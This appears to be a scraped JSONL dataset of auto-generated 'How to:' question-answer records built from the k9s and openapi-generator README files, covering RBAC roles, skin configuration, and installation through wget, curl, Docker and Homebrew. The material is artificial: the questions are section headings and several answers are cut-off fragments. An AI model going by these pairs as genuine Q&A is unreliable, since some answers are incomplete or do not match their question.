tunneling setting.\n        # Set this to a node if NodePort or LB if applicable. IP or dns name.\n        host: A.B.C.D\n        path: /bumblebeetuna\n      auth:\n        user: jean-baptiste-emmanuel\n        password: Zorg!\n```\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605343"}
{"id": "gh_57ba07fcd75b", "question": "How to: K9s RBAC FU", "question_body": "About derailed/k9s", "answer": "On RBAC enabled clusters, you would need to give your users/groups capabilities so that they can use K9s to explore their Kubernetes cluster. K9s needs minimally read privileges at both the cluster and namespace level to display resources and metrics.\n\nThese rules below are just suggestions. You will need to customize them based on your environment policies. If you need to edit/delete resources extra Fu will be necessary.\n\n> NOTE! Cluster/Namespace access may change in the future as K9s evolves.\n> NOTE! We expect K9s to keep running even in atrophied clusters/namespaces. Please file issues if this is not the case!", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605349"}
{"id": "gh_4a8fcf41ea2d", "question": "How to: K9s Reader ClusterRole", "question_body": "About derailed/k9s", "answer": "kind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: k9s\nrules:\n  # Grants RO access to cluster resources node and namespace\n  - apiGroups: [\"\"]\n    resources: [\"nodes\", \"namespaces\"]\n    verbs: [\"get\", \"list\", \"watch\"]\n  # Grants RO access to RBAC resources\n  - apiGroups: [\"rbac.authorization.k8s.io\"]\n    resources: [\"clusterroles\", \"roles\", \"clusterrolebindings\", \"rolebindings\"]\n    verbs: [\"get\", \"list\", \"watch\"]\n  # Grants RO access to CRD resources\n  - apiGroups: [\"apiextensions.k8s.io\"]\n    resources: [\"customresourcedefinitions\"]\n    verbs: [\"get\", \"list\", \"watch\"]\n  # Grants RO access to metric server (if present)\n  - apiGroups: [\"metrics.k8s.io\"]\n    resources: [\"nodes\", \"pods\"]\n    verbs: [\"get\", \"list\", \"watch\"]\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605356"}
{"id": "gh_7c432fee98b8", "question": "How to: Sample K9s user ClusterRoleBinding", "question_body": "About derailed/k9s", "answer": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: k9s\nsubjects:\n  - kind: User\n    name: fernand\n    apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: k9s\n  apiGroup: rbac.authorization.k8s.io\n```", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605360"}
{"id": "gh_df9be0ce9dc2", "question": "How to: Namespace RBAC scope", "question_body": "About derailed/k9s", "answer": "If your users are constrained to certain namespaces, K9s will need to following role to enable read access to namespaced resources.\n\n```yaml\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605365"}
{"id": "gh_20a2aa0b3967", "question": "How to: K9s Reader Role (default namespace)", "question_body": "About derailed/k9s", "answer": "kind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: k9s\n  namespace: default\nrules:\n  # Grants RO access to most namespaced resources\n  - apiGroups: [\"\", \"apps\", \"autoscaling\", \"batch\", \"extensions\"]\n    resources: [\"*\"]\n    verbs: [\"get\", \"list\", \"watch\"]\n  # Grants RO access to metric server\n  - apiGroups: [\"metrics.k8s.io\"]\n    resources: [\"pods\", \"nodes\"]\n    verbs:\n      - get\n      - list\n      - watch\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605384"}
{"id": "gh_d5603cf7b091", "question": "How to: Sample K9s user RoleBinding", "question_body": "About derailed/k9s", "answer": "apiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: k9s\n  namespace: default\nsubjects:\n  - kind: User\n    name: fernand\n    apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: Role\n  name: k9s\n  apiGroup: rbac.authorization.k8s.io\n```\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605390"}
{"id": "gh_5453587b9075", "question": "How to: $XDG_DATA_HOME/k9s/clusters/clusterX/contextY/config.yaml", "question_body": "About derailed/k9s", "answer": "k9s:\n  cluster: clusterX\n  skin: in-the-navy\n  readOnly: false\n  namespace:\n    active: default\n    lockFavorites: false\n    favorites:\n    - kube-system\n    - default\n  view:\n    active: po\n  featureGates:\n    nodeShell: false\n  portForwardAddress: localhost\n```\n\nYou can also specify a default skin for all contexts in the root k9s config file as so:\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605397"}
{"id": "gh_fc2deeeb4000", "question": "How to: Skin InTheNavy!", "question_body": "About derailed/k9s", "answer": "k9s:\n  # General K9s styles\n  body:\n    fgColor: dodgerblue\n    bgColor: '#ffffff'\n    logoColor: '#0000ff'\n  # ClusterInfoView styles.\n  info:\n    fgColor: lightskyblue\n    sectionColor: steelblue\n  # Help panel styles\n  help:\n    fgColor: white\n    bgColor: black\n    keyColor: cyan\n    numKeyColor: blue\n    sectionColor: gray\n  frame:\n    # Borders styles.\n    border:\n      fgColor: dodgerblue\n      focusColor: aliceblue\n    # MenuView attributes and styles.\n    menu:\n      fgColor: darkblue\n      # Style of menu text. Supported options are \"dim\" (default), \"normal\", and \"bold\"\n      fgStyle: dim\n      keyColor: cornflowerblue\n      # Used for favorite namespaces\n      numKeyColor: cadetblue\n    # CrumbView attributes for history navigation.\n    crumbs:\n      fgColor: white\n      bgColor: steelblue\n      activeColor: skyblue\n    # Resource status and update styles\n    status:\n      newColor: '#00ff00'\n      modifyColor: powderblue\n      addColor: lightskyblue\n      errorColor: indianred\n      highlightcolor: royalblue\n      killColor: slategray\n      completedColor: gray\n    # Border title styles.\n    title:\n      fgColor: aqua\n      bgColor: white\n      highlightColor: skyblue\n      counterColor: slateblue\n      filterColor: slategray\n  views:\n    # TableView attributes.\n    table:\n      fgColor: blue\n      bgColor: darkblue\n      cursorColor: aqua\n      # Header row styles.\n      header:\n        fgColor: white\n        bgColor: darkblue\n        sorterColor: orange\n    # YAML info styles.\n    yaml:\n      keyColor: steelblue\n      colonColor: blue\n      valueColor: royalblue\n    # Logs styles.\n    logs:\n      fgColor: lightskyblue\n      bgColor: black\n      indicator:\n        fgColor: dodgerblue\n        bgColor: black\n        toggleOnColor: limegreen\n        toggleOffColor: gray\n```\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605418"}
{"id": "gh_c8cded65b30d", "question": "How to: Contributors", "question_body": "About derailed/k9s", "answer": "Without the contributions from these fine folks, this project would be a total dud!\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605423"}
{"id": "gh_3a4102abcc18", "question": "How to: Known Issues", "question_body": "About derailed/k9s", "answer": "This is still work in progress! If something is broken or there's a feature\nthat you want, please file an issue and if so inclined submit a PR!\n\nK9s will most likely blow up if...\n\n1. You're running older versions of Kubernetes. K9s works best on later Kubernetes versions.\n2. You don't have enough RBAC fu to manage your cluster.\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605428"}
{"id": "gh_b4ad20f9f5a9", "question": "How to: ATTA Girls/Boys!", "question_body": "About derailed/k9s", "answer": "K9s sits on top of many open source projects and libraries. Our *sincere*\nappreciations to all the OSS contributors that work nights and weekends\nto make this project a reality!\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605432"}
{"id": "gh_7b9388155a48", "question": "How to: Meet The Core Team!", "question_body": "About derailed/k9s", "answer": "If you have chops in GO and K8s and would like to offer your time to help maintain and enhance this project, please reach out to me.\n\n* [Fernand Galiana](https://github.com/derailed)\n  *\nfernand@imhotep.io\n  *\n[@kitesurfer](https://twitter.com/kitesurfer?lang=en)\n\nWe always enjoy hearing from folks who benefit from our work!", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605437"}
{"id": "gh_a1874c69569b", "question": "How to: Contributions Guideline", "question_body": "About derailed/k9s", "answer": "* File an issue first prior to submitting a PR!\n* Ensure all exported items are properly commented\n* If applicable, submit a test suite against your PR\n\n---\n© 2026 Imhotep Software LLC. All materials licensed under [Apache v2.0](http://www.apache.org/licenses/LICENSE-2.0)", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605443"}
{"id": "gh_f64c274772bf", "question": "How to: Table of contents", "question_body": "About OpenAPITools/openapi-generator", "answer": "- [Sponsors](#sponsors)\n    - [Thank you to our bronze sponsors!](#thank-you-to-our-bronze-sponsors)\n    - [Thank you GoDaddy for sponsoring the domain names, Linode for sponsoring the VPS, Checkly for sponsoring the API monitoring and Gradle for sponsoring Develocity](#thank-you-godaddy-for-sponsoring-the-domain-names-linode-for-sponsoring-the-vps-checkly-for-sponsoring-the-api-monitoring-and-gradle-for-sponsoring-develocity)\n- [Overview](#overview)\n- [Table of contents](#table-of-contents)\n- [1 - Installation](#1---installation)\n  - [1.1 - Compatibility](#11---compatibility)\n- [1.2 - Artifacts on Maven Central](#12---artifacts-on-maven-central)\n  - [1.3 - Download JAR](#13---download-jar)\n  - [Launcher Script](#launcher-script)\n  - [1.4 - Build Projects](#14---build-projects)\n    - [Nix users](#nix-users)\n  - [1.5 - Homebrew](#15---homebrew)\n  - [1.6 - Docker](#16---docker)\n    - [Public Pre-built Docker images](#public-pre-built-docker-images)\n    - [OpenAPI Generator CLI Docker Image](#openapi-generator-cli-docker-image)\n    - [OpenAPI Generator Online Docker Image](#openapi-generator-online-docker-image)\n    - [Development in docker](#development-in-docker)\n      - [Troubleshooting](#troubleshooting)\n    - [Run Docker in Vagrant](#run-docker-in-vagrant)\n  - [1.7 - NPM](#17---npm)\n  - [1.8 - pip](#18---pip)\n- [2 - Getting Started](#2---getting-started)\n- [3 - Usage](#3---usage)\n  - [To generate a sample client library](#to-generate-a-sample-client-library)\n  - [3.1 - Customization](#31---customization)\n  - [3.2 - Workflow Integration (Maven, Gradle, Github, CI/CD)](#32---workflow-integration-maven-gradle-github-cicd)\n  - [3.3 - Online OpenAPI generator](#33---online-openapi-generator)\n  - [3.4 - License information on Generated Code](#34---license-information-on-generated-code)\n  - [3.5 - IDE Integration](#35---ide-integration)\n- [4 - Companies/Projects using OpenAPI Generator](#4---companiesprojects-using-openapi-generator)\n- [5 - Presentations/Videos/Tutorials/Books](#5---presentationsvideostutorialsbooks)\n- [6 - About Us](#6---about-us)\n  - [6.1 - OpenAPI Generator Core Team](#61---openapi-generator-core-team)\n    - [Core Team Members](#core-team-members)\n    - [Template Creator](#template-creator)\n    - [How to join the core team](#how-to-join-the-core-team)\n  - [6.2 - OpenAPI Generator Technical Committee](#62---openapi-generator-technical-committee)\n    - [Members of Technical Committee](#members-of-technical-committee)\n  - [6.3 - History of OpenAPI Generator](#63---history-of-openapi-generator)\n    - [Founding Members (alphabetical order):](#founding-members-alphabetical-order)\n- [7 - License](#7---license)", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901871"}
{"id": "gh_ec9db42a28d6", "question": "How to: [1.1 - Compatibility](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "The OpenAPI Specification has undergone 3 revisions since initial creation in 2010.  The openapi-generator project has the following compatibilities with the OpenAPI Specification:\n\n| OpenAPI Generator Version                                                                                                                                 | Release Date | Notes                                             |\n| --------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ------------------------------------------------- |\n| 7.19.0 (upcoming minor release) [SNAPSHOT](https://github.com/OpenAPITools/openapi-generator/wiki/FAQ#how-to-test-with-the-latest-master-of-openapi-generator) | 22.01.2026   | Minor release with breaking changes (with fallback) |\n| [7.18.0](https://github.com/OpenAPITools/openapi-generator/releases/tag/v7.18.0) (latest stable release)                                                    | 22.12.2025   | Minor release with breaking changes (with fallback) |\n| [6.6.0](https://github.com/OpenAPITools/openapi-generator/releases/tag/v6.6.0)                                                    | 11.05.2023   | Minor release with breaking changes (with fallback) |\n| [5.4.0](https://github.com/OpenAPITools/openapi-generator/releases/tag/v5.4.0)                                                    | 31.01.2022   | Minor release with breaking changes (with fallback) |\n| [4.3.1](https://github.com/OpenAPITools/openapi-generator/releases/tag/v4.3.1)                                                    | 06.05.2020   | Patch release (enhancements, bug fixes, etc)                       |\n\nOpenAPI Spec compatibility: 1.0, 1.1, 1.2, 2.0, 3.0, 3.1 (beta support)\n\n(We do not publish daily/nightly build. Please use SNAPSHOT instead)\n\nFor old releases, please refer to the [**Release**](https://github.com/OpenAPITools/openapi-generator/releases) page.\n\nFor decommissioned generators/libraries/frameworks, please refer to [the \"Decommission\" label](https://github.com/OpenAPITools/openapi-generator/issues?q=label%3ADecommission+is%3Amerged+) in the pull request page.", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901888"}
{"id": "gh_8523c48472bf", "question": "How to: [1.2 - Artifacts on Maven Central](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "You can find our released artifacts on maven central:\n\n**Core:**\n```xml\norg.openapitools\nopenapi-generator\n${openapi-generator-version}\n```\nSee the different versions of the [openapi-generator](https://search.maven.org/artifact/org.openapitools/openapi-generator) artifact available on maven central.\n\n**Cli:**\n```xml\norg.openapitools\nopenapi-generator-cli\n${openapi-generator-version}\n```\nSee the different versions of the [openapi-generator-cli](https://search.maven.org/artifact/org.openapitools/openapi-generator-cli) artifact available on maven central.\n\n**Maven plugin:**\n```xml\norg.openapitools\nopenapi-generator-maven-plugin\n${openapi-generator-version}\n```\n* See the different versions of the [openapi-generator-maven-plugin](https://search.maven.org/artifact/org.openapitools/openapi-generator-maven-plugin) artifact available on maven central.\n* [Readme](https://github.com/OpenAPITools/openapi-generator/blob/master/modules/openapi-generator-maven-plugin/README.md)\n\n**Gradle plugin:**\n```xml\norg.openapitools\nopenapi-generator-gradle-plugin\n${openapi-generator-version}\n```\n* See the different versions of the [openapi-generator-gradle-plugin](https://search.maven.org/artifact/org.openapitools/openapi-generator-gradle-plugin) artifact available on maven central.\n* [Readme](https://github.com/OpenAPITools/openapi-generator/blob/master/modules/openapi-generator-gradle-plugin/README.adoc)", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901896"}
{"id": "gh_ea9706319ff2", "question": "How to: [1.3 - Download JAR](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 11 runtime at a minimum):\n\nJAR location: `https://repo1.maven.org/maven2/org/openapitools/openapi-generator-cli/7.18.0/openapi-generator-cli-7.18.0.jar`\n\nFor **Mac/Linux** users:\n```sh\nwget https://repo1.maven.org/maven2/org/openapitools/openapi-generator-cli/7.18.0/openapi-generator-cli-7.18.0.jar -O openapi-generator-cli.jar\n```\n\nFor **Windows** users, you will need to install [wget](http://gnuwin32.sourceforge.net/packages/wget.htm) or you can use Invoke-WebRequest in PowerShell (3.0+), e.g.\n```\nInvoke-WebRequest -OutFile openapi-generator-cli.jar https://repo1.maven.org/maven2/org/openapitools/openapi-generator-cli/7.18.0/openapi-generator-cli-7.18.0.jar\n```\n\nAfter downloading the JAR, run `java -jar openapi-generator-cli.jar help` to show the usage.\n\nFor Mac users, please make sure Java 11 is installed (Tips: run `java -version` to check the version), and export `JAVA_HOME` in order to use the supported Java version:\n```sh\nexport JAVA_HOME=`/usr/libexec/java_home -v 1.11`\nexport PATH=${JAVA_HOME}/bin:$PATH\n```", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901903"}
{"id": "gh_4b1109165767", "question": "How to: Launcher Script", "question_body": "About OpenAPITools/openapi-generator", "answer": "One downside to manual jar downloads is that you don't keep up-to-date with the latest released version. We have a Bash launcher script at [bin/utils/openapi-generator.cli.sh](./bin/utils/openapi-generator-cli.sh) which resolves this issue.\n\nTo install the launcher script, copy the contents of the script to a location on your path and make the script executable.\n\nAn example of setting this up (NOTE: Always evaluate scripts curled from external systems before executing them).\n\n```\nmkdir -p ~/bin/openapitools\ncurl https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/bin/utils/openapi-generator-cli.sh > ~/bin/openapitools/openapi-generator-cli\nchmod u+x ~/bin/openapitools/openapi-generator-cli\nexport PATH=$PATH:~/bin/openapitools/\n```\n\nNow, `openapi-generator-cli` is \"installed\". On invocation, it will query the GitHub repository for the most recently released version. If this matches the last downloaded jar,\nit will execute as normal. If a newer version is found, the script will download the latest release and execute it.\n\nIf you need to invoke an older version of the generator, you can define the variable `OPENAPI_GENERATOR_VERSION` either ad hoc or globally. You can export this variable if you'd like to persist a specific release version.\n\nExamples:\n\n```", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901909"}
{"id": "gh_3d58ca5ebf48", "question": "How to: Execute version 4.1.0 for the current invocation, regardless of the latest released version", "question_body": "About OpenAPITools/openapi-generator", "answer": "OPENAPI_GENERATOR_VERSION=4.1.0 openapi-generator-cli version", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901915"}
{"id": "gh_5626426e938c", "question": "How to: Execute version 4.1.0-SNAPSHOT for the current invocation", "question_body": "About OpenAPITools/openapi-generator", "answer": "OPENAPI_GENERATOR_VERSION=4.1.0-SNAPSHOT openapi-generator-cli version", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901919"}
{"id": "gh_5f858f766ca7", "question": "How to: Execute version 4.0.2 for every invocation in the current shell session", "question_body": "About OpenAPITools/openapi-generator", "answer": "export OPENAPI_GENERATOR_VERSION=4.0.2\nopenapi-generator-cli version # is 4.0.2\nopenapi-generator-cli version # is also 4.0.2", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901924"}
{"id": "gh_008f0ab1d2d5", "question": "How to: To \"install\" a specific version, set the variable in .bashrc/.bash_profile", "question_body": "About OpenAPITools/openapi-generator", "answer": "echo \"export OPENAPI_GENERATOR_VERSION=4.0.2\" >> ~/.bashrc\nsource ~/.bashrc\nopenapi-generator-cli version # is always 4.0.2, unless any of the above overrides are done ad hoc\n```", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901928"}
{"id": "gh_8115ddad7cac", "question": "How to: [1.4 - Build Projects](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "To build from source, you need the following installed and available in your `$PATH:`\n\n* [Java 11](https://adoptium.net/)\n\n* [Apache Maven 3.8.8 or greater](https://maven.apache.org/) (optional)\n\nAfter cloning the project, you can build it from source using [maven wrapper](https://maven.apache.org/wrapper/):\n\n- Linux: `./mvnw clean install`\n- Windows: `mvnw.cmd clean install`\n\n#### Nix users\n\nIf you're a nix user, you can enter OpenAPI Generator shell, by typing:\n```sh\nnix develop\n```\nIt will enter a shell with Java 11 installed.\n\nDirenv supports automatically loading of the nix developer shell, so if you're using direnv too, type:\n```sh\ndirenv allow\n```\nand have `java` and `mvn` set up with correct versions each time you enter project directory.\n\nThe default build contains minimal static analysis (via CheckStyle). To run your build with PMD and Spotbugs, use the `static-analysis` profile:\n\n- Linux: `./mvnw -Pstatic-analysis clean install`\n- Windows: `mvnw.cmd -Pstatic-analysis clean install`", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901935"}
{"id": "gh_f2c49aea252e", "question": "How to: [1.5 - Homebrew](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "To install, run `brew install openapi-generator`\n\nHere is an example usage to generate a Ruby client:\n```sh\nopenapi-generator generate -i https://raw.githubusercontent.com/openapitools/openapi-generator/master/modules/openapi-generator/src/test/resources/3_0/petstore.yaml -g ruby -o /tmp/test/\n```\n\nTo reinstall with the latest master, run `brew uninstall openapi-generator && brew install --HEAD openapi-generator`\n\nTo install OpenJDK (pre-requisites), please run\n```sh\nbrew tap AdoptOpenJDK/openjdk\nbrew install --cask adoptopenjdk11\nexport JAVA_HOME=`/usr/libexec/java_home -v 1.11`\n```\n\nor download installer via https://adoptium.net/\n\nTo install Maven (optional), please run\n```sh\nbrew install maven\n```", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901942"}
{"id": "gh_3af84a41699a", "question": "How to: [1.6 - Docker](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "#### Public Pre-built Docker images\n\n - [https://hub.docker.com/r/openapitools/openapi-generator-cli/](https://hub.docker.com/r/openapitools/openapi-generator-cli/) (official CLI)\n - [https://hub.docker.com/r/openapitools/openapi-generator-online/](https://hub.docker.com/r/openapitools/openapi-generator-online/) (official web service)\n\n#### OpenAPI Generator CLI Docker Image\n\nThe OpenAPI Generator image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version.\n\nTo generate code with this image, you'll need to mount a local location as a volume.\n\nExample:\n\n```sh\ndocker run --rm -v \"${PWD}:/local\" openapitools/openapi-generator-cli generate \\\n    -i https://raw.githubusercontent.com/openapitools/openapi-generator/master/modules/openapi-generator/src/test/resources/3_0/petstore.yaml \\\n    -g go \\\n    -o /local/out/go\n```\n\nThe generated code will be located under `./out/go` in the current directory.\n\n#### OpenAPI Generator Online Docker Image\n\nThe openapi-generator-online image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code.\n\nExample usage:\n\n```sh", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901948"}
{"id": "gh_88309294d4dd", "question": "How to: Start container at port 8888 and save the container id", "question_body": "About OpenAPITools/openapi-generator", "answer": "> CID=$(docker run -d -p 8888:8080 openapitools/openapi-generator-online)", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901953"}
{"id": "gh_3abe98f7b34e", "question": "How to: Get the IP of the running container (optional)", "question_body": "About OpenAPITools/openapi-generator", "answer": "GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}'  $CID)", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901957"}
{"id": "gh_dabba4ba5371", "question": "How to: Execute an HTTP request to generate a Ruby client", "question_body": "About OpenAPITools/openapi-generator", "answer": "> curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' \\\n-d '{\"openAPIUrl\": \"https://raw.githubusercontent.com/openapitools/openapi-generator/master/modules/openapi-generator/src/test/resources/3_0/petstore.yaml\"}' \\\n'http://localhost:8888/api/gen/clients/ruby'\n\n{\"code\":\"c2d483.3.4672-40e9-91df-b9ffd18d22b8\",\"link\":\"http://localhost:8888/api/gen/download/c2d483.3.4672-40e9-91df-b9ffd18d22b8\"}", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901962"}
{"id": "gh_e5d8157edb8b", "question": "How to: Download the generated zip file", "question_body": "About OpenAPITools/openapi-generator", "answer": "> wget http://localhost:8888/api/gen/download/c2d483.3.4672-40e9-91df-b9ffd18d22b8", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901967"}
{"id": "gh_75e93b2479eb", "question": "How to: Shutdown the openapi generator image", "question_body": "About OpenAPITools/openapi-generator", "answer": "> docker stop $CID && docker rm $CID\n```\n\n#### Development in docker\n\nYou can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen`\nin the docker container. It also maps `~/.m2/repository` to the appropriate container location.\n\nTo execute `mvn package`:\n\n```sh\ngit clone https://github.com/openapitools/openapi-generator\ncd openapi-generator\n./run-in-docker.sh mvn package\n```\n\nBuild artifacts are now accessible in your working directory.\n\nOnce built, `run-in-docker.sh` will act as an executable for openapi-generator-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example:\n\n```sh\n./run-in-docker.sh help # Executes 'help' command for openapi-generator-cli\n./run-in-docker.sh list # Executes 'list' command for openapi-generator-cli\n./run-in-docker.sh generate -i modules/openapi-generator/src/test/resources/3_0/petstore.yaml \\\n    -g go -o /gen/out/go-petstore -p packageName=petstore # generates go client, outputs locally to ./out/go-petstore\n```\n\n##### Troubleshooting\n\nIf an error like this occurs, just execute the **./mvnw clean install -U** command:\n\n> org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.19.1:test (default-test) on project openapi-generator: A type incompatibility occurred while executing org.apache.maven.plugins:maven-surefire-plugin:2.19.1:test: java.lang.ExceptionInInitializerError cannot be cast to java.io.IOException\n\n```sh\n./run-in-docker.sh ./mvnw clean install -U\n```\n\n> Failed to execute goal org.fortasoft:gradle-maven-plugin:1.0.8:invoke (default) on project openapi-generator-gradle-plugin-mvn-wrapper: org.gradle.tooling.BuildException: Could not execute build using Gradle distribution 'https://services.gradle.org/distributions/gradle-4.7-bin.zip'\n\nRight now: no solution for this one :|\n\n#### Run Docker in Vagrant\nPrerequisite: install 